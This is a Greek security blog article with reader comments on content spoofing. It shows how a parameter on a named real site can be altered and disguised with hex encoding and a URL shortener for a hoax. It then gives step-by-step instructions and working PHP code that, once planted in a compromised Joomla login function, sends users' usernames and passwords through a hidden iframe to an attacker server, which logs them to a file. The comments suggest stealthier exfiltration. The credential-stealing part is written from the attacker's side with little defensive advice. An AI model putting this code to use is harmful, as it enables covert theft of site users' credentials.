Το προφίλ μας στο Google Plus
8

Content Spoofing – Εφιάλτης για τους ανέμελους!

Με τον όρο content spoofing ή διαφορετικά αλλοίωση περιεχομένου, αναφερόμαστε σε μια επίθεση που συμβαίνει στο web κι ενδέχεται να εκδηλωθεί με πολλές και διαφορετικές μορφές. Έχει συμπεριληφθεί μάλιστα στη λίστα των πιο συχνών επιθέσεων του The Web Application Security Consortium. Πρόκειται για μια επίθεση κατά την οποία ένας πονηρός είναι σε θέση να ξεγελάσει κάποιο χρήστη του web παρουσιάζοντάς του ένα πλαστό ή αλλοιωμένο web site ως πραγματικό. Σε άλλες περιπτώσεις ο επιτιθέμενος αποκτά πρόσβαση σ’ ένα υπάρχον, καθωσπρέπει web site (π.χ., σ’ ένα CMS σαν το Joomla) κι αλλάζει τον πηγαίο κώδικα των προγραμμάτων που τρέχουν εκεί με τέτοιο τρόπο, ώστε μόλις κάποιος επισκέπτης μπει -στο κατά τα άλλα κανονικό- web site, ο κωδικός και το password του να αποσταλούν σε κάποιον …ενδιαφερόμενο! Όλες τις προαναφερθείσες χαριτωμενιές θα τις δούμε στο παρόν άρθρο :)

Το κακό με τη συγκεκριμένη επίθεση είναι ότι ορισμένες μορφές της δεν είναι δυνατόν να αντιμετωπιστούν από τον απλό χρήστη, αφού εκείνος δεν έχει κανέναν τρόπο για να τις αντιληφθεί! Ας ξεκινήσουμε όμως από τα απλά και συγκεκριμένα από ένα αθώο HTML spoofing. Αυτό επιτρέπει σε κάποιον να βάλει κώδικα HTML μέσα σ’ ένα URL, αλλάζοντας τη μορφή του πραγματικού site και κάνοντάς το να δείχνει αληθοφανή πράγματα – αλλά όχι πραγματικά! To URL που θα οδηγήσει σ’ αυτό το αποτέλεσμα μπορεί να σταλεί με email ή να δημοσιευτεί σε κάποιο public forum, δημιουργώντας πληθώρα προβλημάτων. Ας δούμε όμως ένα πραγματικό παράδειγμα. Το www.skopjeonline.com.mk είναι ένα Σκοπιανό web site, το οποίο διαφημίζει τη συγκεκριμένη, ευρύτερη περιοχή. Πάμε λοιπόν εκεί κι αρχίζουμε να σερφάρουμε. Κάποια στιγμή βρισκόμαστε στο εξής URL (βλ. εικόνα 1):

http://www.skopjeonline.com.mk/detalno.asp?id=228&vtorid=228&idpodkat=0&glavnoime=Education

Εικόνα 1: Ένα αμέριμνο, Σκοπιανό site...

Ας γίνουμε τώρα λίγο παρατηρητικοί. Η τελευταία λέξη του URL είναι η “Education”. Η ίδια λέξη εμφανίζεται *και* στο site. Αν αλλάζαμε αυτή τη λέξη με μια άλλη, θα εμφανιζόταν άραγε η νέα λέξη στο site; Παράξενη σκέψη, δεν χάνουμε όμως τίποτε να τη δοκιμάσουμε. Πληκτρολογούμε το ακόλουθο URL:

http://www.skopjeonline.com.mk/detalno.asp?id=228&vtorid=228&idpodkat=0&glavnoime=Elementary Education to chickens

και παίρνουμε μια σελίδα σαν αυτή της εικόνας 2.

Εικόνα 2: Αν νομίζατε πως ένα αμέριμνο Σκοπιανό site θυμίζει κάτι από σουρεαλισμό, πώς σας θα σας φαινόταν άραγε ένα Σκοπιανό site με μια δόση κοτόπουλου;

Αυτό που κάναμε δεν ήταν τίποτε παραπάνω από το ν’ αλλάξουμε τον τίτλο του άρθρου, ο οποίος δινόταν -πολύ κακώς- στο URL. Βέβαια δεν έχουμε χαλάσει το site! Η παρέμβασή μας ήταν δυναμική, όχι στατική. Μ’ άλλα λόγια, το πραγματικό site ακόμα δείχνει το “Education”. Μόνον αν κάποιος πατήσει το δικό μας URL θα δει τα κοτόπουλα! Κάπου εδώ, λοιπόν, μπαίνουμε στη θέση του πονηρού επιτιθέμενου και σκεφτόμαστε με ποιον τρόπο θα γνωστοποιήσουμε στον κόσμο του διαδικτύου ότι τα Σκόπια On-Line υποστηρίζουν εκπαιδευτικά ιδρύματα …κοτέτσια! Αρχικά, αλλάζουμε το URL σε μια πιο δυσανάγνωστη μορφή:

http://www.skopjeonline.com.mk/detalno.asp?id=228&vtorid=228&idpodkat=0&glavnoime=%45%6c%65%6d%65%6e%74%61%72%79%20%45%64%75%63%61%74%69%6f%6e%20%74%6f%20%63%68%69%63%6b%65%6e%73%

Μην το κοιτάτε πολύ. Είναι το ίδιο με το προηγούμενο, μόνο που είναι κρυμμένο. Θα σκεφτείτε τι είναι αυτοί οι αριθμοί με τα σύμβολα ‘%’ ενδιάμεσα. Πρόκειται για την απεικόνιση της πρότασης “Elementary Education to chickens”, αλλά με τους χαρακτήρες στο δεκαεξαδικό σύστημα αρίθμησης. Μη νομίζετε ότι αυτή η μετατροπή είναι κάτι δύσκολο. Υπάρχουν, π.χ., sites που κάνουν τέτοιες δουλειές αυτόματα (βλ. εικόνα 3).

Εικόνα 3: Σε sites σαν το εικονιζόμενο, σε κάτι λιγότερο από ένα δευτερόλεπτο βρίσκουμε τη δεκαεξαδική απεικόνιση όποιου string θέλουμε ;)

Εδώ βλέπουμε ότι η δεκαεξαδική απεικόνιση του “Elementary Education to chickens” (χωρίς τα εισαγωγικά) είναι η ακολουθία 45 6c 65 6d 65 6e 74 61 72 79 20 45 64 75 63 61 74 69 6f 6e 20 74 6f 20 63 68 69 63 6b 65 6e 73. Στο URL μας, αρκεί να συμπληρώσουμε τα κενά με το χαρακτήρα ‘%’, ώστε να δώσουμε στον web browser να καταλάβει ότι αναφερόμαστε σε δεκαεξαδικούς χαρακτήρες κι έτσι να κάνει από μόνος του την κατάλληλη μετατροπή! Για να το κάνουμε ακόμα πιο δύσκολο, παίρνουμε το URL που μόλις φτιάξαμε και το “κονταίνουμε” με χρήση κάποιας υπηρεσίας URL shortening, σαν αυτή στο http://bit.ly. Τελικά, καταλήγουμε με το URL

http://bit.ly/nKoZJS

το οποίο οδηγεί όπου και τα προηγούμενα, πονηρά ;) Το μόνο που μένει τώρα είναι ν’ αρχίσουμε το Social Engineering, μπαίνοντας σε διάφορα γνωστά public forums ή στέλνοντας mails σε διάφορες εφημερίδες, λέγοντάς τους ότι οι Σκοπιανοί αρχίζουν να εκπαιδεύουν …κότες, παρουσιάζοντας αυτό το link κι επιπλέον σημειώνοντας ότι μας κατηγορούν ως οπισθοδρομικούς κ.λπ. Το πιάσατε το υπονοούμενο, ε;

Όλα τα προηγούμενα όμως είναι η αστεία πλευρά της υπόθεσης. Κάποιος βέβαια θα μπορούσε να ισχυριστεί πως δεν είναι και τόσο αστεία, π.χ., όταν αρχίσουμε να σκεφτόμαστε άλλου είδους sites κι άλλου είδους μηνύματα!

Η προηγούμενη “απάτη” μπορεί ν’ αποκαλυφθεί σχετικά εύκολα από κάποιον γνώστη. Μετά την κλήση του http://bit.ly/nKoZJS ο browser θα το αποκαλύψει στην αρχική του μορφή. Θα δούμε, δηλαδή, το

 
http://www.skopjeonline.com.mk/detalno.asp?id=228&vtorid=228&idpodkat=0&glavnoime=%45%6c%65%6d%65%6e%74%61%72%79%20%45%64%75%63%61%74%69%6f%6e%20%74%6f%20%63%68%69%63%6b%65%6e%73%

Παρατηρώντας (ο ίδιος) κάποιος τους δεκαεξαδικούς αριθμούς και μετατρέποντάς τους σε χαρακτήρες ASCII, καταλήγει στο αρχικό URL:

http://www.skopjeonline.com.mk/detalno.asp?id=228&vtorid=228&idpodkat=0&glavnoime=Elementary Education to chickens

…και η απάτη αποκαλύπτεται. Υπάρχουν όμως κι απάτες που δεν είναι το ίδιο εύκολο ν’ αποκαλυφθούν! Για την ακρίβεια, δεν είναι *καθόλου* εύκολο ν’ αποκαλυφθούν! Πιο συγκεκριμένα -κι ανεξαρτήτως των γνώσεών του- ο χρήστης του web είναι αδύνατον να τις ανακαλύψει, εκτός βέβαια κι αν έχει πρόσβαση στο προς επίθεση site με δικαιώματα διαχειριστή κι επιπρόσθετα γνωρίζει *και* προγραμματισμό! Θα δώσουμε αμέσως ένα τέτοιο παράδειγμα κάνοντας χρήση του CMS ονόματι Joomla (βλ. εικόνα 4). Πρόκειται για ένα δημοφιλές σύστημα διαχείρισης περιεχομένου, αφού είναι πολύ εύκολο τόσο στη χρήση, όσο και στην εκμάθηση. Μ’ αυτό ο καθένας μπορεί, χωρίς να ‘χει ειδικές γνώσεις προγραμματισμού, να δημιουργήσει και να συντηρήσει ένα πλήρες web site.

Εικόνα 4: Η τελευταία έκδοση του Joomla CMS, εγκατεστημένη σε κάποιον web server...

Για τη συνέχεια υποθέτουμε ότι το site-στόχος τρέχει την τελευταία -για τη στιγμή που γράφεται το παρόν- έκδοση του Joomla (1.5.15), καθώς κι ό,τι με κάποιον τρόπο έχουμε ήδη αποκτήσει πρόσβαση σ’ αυτό και μάλιστα έχουμε σηκώσει και web-shell. Επιπρόσθετα, υποθέτουμε ότι έχουμε και πρόσβαση στον πηγαίο κώδικα του Joomla. Μπορούμε, δηλαδή, ν’ αλλάξουμε το ίδιο το CMS, π.χ., προσθέτοντας δικό μας κώδικα. Ίσως μερικοί σκεφτείτε εδώ ότι από τη στιγμή που έχουμε πρόσβαση στον κώδικα τότε εύκολα μπορούμε να ‘χουμε και πρόσβαση στη βάση δεδομένων. Κι αφού έχουμε πρόσβαση στη βάση δεδομένων, μπορούμε να δούμε τα πάντα! Χμ, σωστά, αλλά αυτό δεν ισχύει πάντα. Αλλά ακόμα κι έτσι να ‘ναι, εμάς δεν μας φτάνει αυτό: Θέλουμε οπωσδήποτε *όλα* τα user names και τα passwords των χρηστών, ασχέτως αν αυτοί είναι διαχειριστές ή απλά μέλη. Βλέπετε, κάτι μας λέει ότι τα passwords πολλών εξ αυτών μπορούν να μας οδηγήσουν και σ’ άλλα μονοπάτια, άσε που μπορούμε να τα χρησιμοποιήσουμε για να υποδυθούμε αυτούς τους χρήστες (impersonation) – ακόμα και τον ίδιο το διαχειριστή. Στο Joomla, τα passwords αποθηκεύονται στη βάση δεδομένων κρυπτογραφημένα κατά τον αλγόριθμο MD5. Αυτή η μέθοδος είναι πολύ κακή αν το password είναι μικρό και αποτελείται από γράμματα μόνο. Μ’ άλλα λόγια, τα passwords αυτά μπορούν να σπάσουν και ν’ αποκαλυφθούν ταχύτατα! Αν όμως οι χρήστες -και κυρίως οι admins- του προς επίθεση site είναι υποψιασμένοι, τότε θα χρησιμοποιούν μεγάλα σε μήκος passwords (πάνω από 20 χαρακτήρες), αποτελούμενα από χαρακτήρες, ψηφία και ειδικά σύμβολα. Ένα τέτοιο password μπορεί μεν να σπάσει με τη χρήση ενός ή περισσότερων προγραμμάτων, ωστόσο για το σκοπό αυτό θα χρειαστούν μερικές εκατοντάδες χρόνια :) Θα συμφωνήσετε, φανταζόμαστε, ότι για τους σκοπούς μας κάτι τέτοιο δεν είναι ιδιαίτερα πρακτικό! Σε γενικές γραμμές, λοιπόν, πρέπει να επινοήσουμε έναν άλλον τρόπο για να βρούμε τα passwords των χρηστών. Κάτι που θα μπορούσαμε να κάνουμε είναι να τα υποκλέψουμε, την ώρα που εκείνοι θα επιχειρούν να συνδεθούν στο σύστημα!

Η μέθοδος που θα χρησιμοποιήσουμε για την κλοπή των username και password, δηλαδή των λεγόμενων credentials των χρηστών, είναι η εξής: Θα βρούμε, μέσα στον πηγαίο κώδικα του Joomla, σε ποιο σημείο ζητάει το πρόγραμμα από το χρήστη τα credentials του και σ’ αυτό το σημείο θα εισάγουμε δικό μας κώδικα, ο οποίος θα προκαλεί την αποστολή -με κάποιο τρόπο- όσων πληκτρολογούν οι χρήστες σ’ αυτό το σημείο σ’ εμάς! Μετά την αποστολή το πρόγραμμα θα συνεχίζει κανονικά, σαν να μη συμβαίνει τίποτε, οπότε ο εκάστοτε χρήστης δεν θα παίρνει καν είδηση ότι μόλις έπεσε θύμα υποκλοπής! Η όλη διαδικασία ολοκληρώνεται σε τρία βήματα.

Βήμα 1: Εύρεση του πηγαίου κώδικα που θ’ αλλάξουμε
Το πρώτο και σπουδαιότερο βήμα είναι να βρούμε το σημείο όπου το απείραχτο Joomla ζητά username και password. Αυτή η δουλειά απαιτεί γνώσεις προγραμματισμού, διότι όχι μόνο πρέπει να γράψουμε (σε PHP) τις εντολές που θα μας στείλουν τα credentials, αλλά χρειάζεται και να ξέρουμε να διαβάσουμε το source code, ώστε να μπορέσουμε να καταλάβουμε σε ποιο σημείο ακριβώς πρέπει να βάλουμε αυτόν τον κώδικα! Ένας αρκετά γρήγορος τρόπος για να βρούμε το επίμαχο σημείο είναι να δούμε πώς ζητάει το πρόγραμμα να εισάγουμε αυτά τα credentials (βλ. εικόνα 5).

Εικόνα 5: Σε αυτό το σημείο γίνεται η εισαγωγή των credentials των χρηστών. Κάπου εδώ, λοιπόν, θα εισάγουμε τον δικό μας κώδικα :)

Όπως βλέπουμε στην εικόνα, το πρόγραμμα αναφέρει Login Form και ζητά username και password. Θα ψάξουμε, λοιπόν, στον κατάλογο του δίσκου που είναι όλα τα αρχεία του Joomla, προκειμένου να εντοπίσουμε σε ποια απ’ αυτά αρχεία υπάρχει το string “Login Form” (χωρίς τα εισαγωγικά). Αυτό που θα βρούμε θα είναι, όπως λέμε, ένα starting point. Από κει και πέρα θα πρέπει να διαβάσουμε των πηγαίο κώδικα για να οδηγηθούμε, τελικά, εκεί που το Joomla έχει τα credentials -αλλά όχι ακόμα σε κρυπτογραφημένη μορφή. Κατά τη διάρκεια των δοκιμών μας, ο πηγαίος κώδικας που μας ενδιέφερε ήταν στο αρχείο application.php – και συγκεκριμένα μέσα στη function login (βλ. εικόνα 6).

Εικόνα 6: Αυτή είναι η συνάρτηση στον πηγαίο κώδικα του Joomla, την οποία και θα, χμ, βελτιώσουμε λίγο!

Βήμα 2: Εισαγωγή κώδικα
Λίγο παρακάτω από το σημείο που φαίνεται στην εικόνα 6 θα βάλουμε τον πηγαίο κώδικα μας . Αυτός θα κάνει τα εξής: Θα παίρνει το username και το password που έδωσε ο χρήστης και θα τα στέλνει σ’ έναν άλλο server, δικό μας. Μάλιστα, για να ‘μαστε σίγουροι ότι δεν θα τα δει και κάποιος άλλος, περίεργος, πριν την αποστολή τους θα τα κωδικοποιούμε κατά base64. Εντάξει, ξέρουμε, δεν πρόκειται για καμιά απόρθητη μέθοδο κρυπτογράφησης – κάθε άλλο μάλιστα. Ο σκοπός μας όμως εδώ είναι να κρύψουμε κάπως τα πραγματικά credentials, προκειμένου ν’ αποφύγουμε κάποιον ο οποίος ενδεχομένως θα σνιφάρει το δίκτυο ψάχνοντας για λέξεις κλειδιά όμως admin, root κ.ο.κ. Ο κακόβουλος πηγαίος κώδικας, λοιπόν, είναι ο ακόλουθος:

$TheBAD='http://www.ToKakoSite.com/Check.php?u1='.
    base64_encode($credentials['username']).' u2='.
    base64_encode($credentials['password']);
$CurrentURL='http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
echo '<IFRAME SRC="'. $TheBAD.'" WIDTH=0 HEIGHT=0 frameborder=0>
    </IFRAME><meta HTTP-EQUIV="REFRESH" content="0;
    url="'.$CurrentURL.'"> ';
die();

Η πρώτη γραμμή ορίζει μια μεταβλητή με τ’ όνομα $TheBAD, στην οποία κρατάει το URL, το πρόγραμμα (το Check.php) του κακόβουλου site όπου θα στείλουμε τα credentials, καθώς και τα ίδια τα credentials.

Η δεύτερη γραμμή ορίζει τη μεταβλητή $CurrentURL, η οποία κρατάει το τρέχον URL που βλέπει ο χρήστης (θύμα) στον web browser του.

Η τρίτη γραμμή εμφανίζει -ή καλύτερα δεν εμφανίζει, αφού έχει μηδενικό μέγεθος- ένα frame στη φόρμα, το οποίο βέβαια δεν φαίνεται! Αυτό το frame κάνει από μόνο του refresh (βλέπε το meta tag) κι έτσι στέλνει τα δεδομένα στο κακόβουλο site!

H τέταρτη γραμμή κανονικά δεν θα ‘πρεπε να υπάρχει, αφού θα έκλεινε το πρόγραμμα! Λόγω όμως της συμπεριφοράς του refresh στη γραμμή 3 κάτι τέτοιο δεν συμβαίνει, μ’ αποτέλεσμα το πρόγραμμα να συνεχίζει κανονικά, σαν να μην έγινε τίποτε!

Βήμα 3: Πρόγραμμα reception!
Απ’ ότι είδαμε στην πρώτη γραμμή του προηγούμενου πηγαίου κώδικα, υπάρχει κι ένα άλλο πρόγραμμα που καλείται στον κακόβουλο server. Βρίσκεται στη …reception κι έχει αναλάβει ρόλο υποδοχής των credentials, τα οποία και βάζει σ’ ένα αρχείο. Πρόκειται για το check.php, το οποίο δέχεται ως παραμέτρους τον κωδικό και το password του χρήστη σε κωδικοποιημένη μορφή base64. Έχει ως εξής:

<?php
    $u1 = $HTTP_GET_VARS["u1"];	
    $u2 = $HTTP_GET_VARS["u2"];
    $txtfile = fopen('user_info.txt', 'a+');
    fwrite($txtfile, "-- User Login Info --------\n");	
    fwrite($txtfile, base64_decode($u1) . "\n");	
    fwrite($txtfile, base64_decode($u2) . "\n");	
    fwrite($txtfile, "---------------------------\n");	
    fclose($txtfile);
?>

Το μόνο που κάνει αυτό το πρόγραμμα είναι να πάρει το username και το password, να τα καταχωρίσει στις μεταβλητές $u1 και $u2 και μετά, αφού τα αποκωδικοποιήσει (base64_decode) να τα εισάγει στο αρχείο user_info.txt, στο δίσκο του κακόβουλου server. Ακολουθεί ένα δείγμα των περιεχομένων του αρχείου user_info.txt:

-- User Login Info --------
peter
peter86
---------------------------
-- User Login Info --------
admin
ΑdminΑdmina$1977
---------------------------

Το μόνο που έχουμε να κάνουμε πλέον είναι σε τακτά χρονικά διαστήματα να ελέγχουμε τα περιεχόμενα του αρχείου user_info.txt. Τίποτε άλλο! Σε λίγο καιρό θα ‘χουμε τα credentials (σχεδόν) όλων των χρηστών στο πιάτο!

8 Responses to “Content Spoofing – Εφιάλτης για τους ανέμελους!”

  1. ^^TnT^^ | 18/08/2011 at 21:32

    Dejavu

    • subZraw | 18/08/2011 at 22:49

      Ναι, πράγματι. Αρκετά άρθρα του s3cure είχαν πρώτα δημοσιευτεί στον πρόγονο του deltaHacker. Αυτό όμως δεν σημαίνει ότι δεν υπάρχουν άνθρωποι που τα διαβάζουν τώρα για πρώτη φορά…

  2. antonmorvolhert | 18/08/2011 at 22:04

    Το κακό με αυτή την μέθοδο(iframe) είναι οτι οποιοσδήποτε χρήστης τύχει να δεί τον κώδικα της σελίδας θα δει το iframe αυξάνοντας τις πιθανότητες ανακάλυψης του κώδικά μας. Θα μπορούσαμε τα στοιχεία του χρήστη να τα μεταφέρουμε στο check.php μέσω curl στο σημείο του κώδικα που το joomla τα ελέγχει ενάντια στην DB. Έτσι ο αριθμός των ατόμων που μπορούν να ανακαλύψουν τον κακόβουλο κώδικα περιορίζεται σε όσους έχουν πρόσβαση σε αυτό το αρχείο.

    • giannoug | 18/08/2011 at 22:28

      Ή θα μπορούσε να στέλνει απευθείας email σε κάθε εγγραφή. Υπάρχουν 3-4 διαφορετικοί τρόποι (στην αρχή σκέφτηκα μια κρυμμένη εικόνα προσωπικά). Περί ορέξεως δηλαδή…

  3. Thiseas | 19/08/2011 at 08:47

    @ antonmorvolhert, @giannoug
    Πολύ σωστά τα παραδείγματα σας και πολύ καλύτερα! Υπάρχουν αρκετοί τρόποι.
    Αυτό που συνηθίζεται στο darknet πάντως είναι η αποστολή email. Αφού καλύτερα να ρισκάρεις κάποιο email παρά κάποιον server, αν αποκαλυφθείς. Επίσης η command της αποστολής του email μπορεί να είναι encrypted μέσα στην php/asp/asp.Net ώστε να μην φαίνεται εύκολα. Όπως ο κλασικός σπιούνος μέσα σε πολλά c99 shells και όχι μόνο! ;)

  4. MortisGR | 23/08/2011 at 11:19

    Βρε τι μου θυμίζει, τι μου θυμίζει! Γιατί είναι στο s3cure και όχι στο Blast from the past; :)

    • subZraw | 23/08/2011 at 16:44

      Γιατί είναι από το s3cure, υπό την έννοια ότι είχε δημοσιευτεί *και* εκεί :)

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων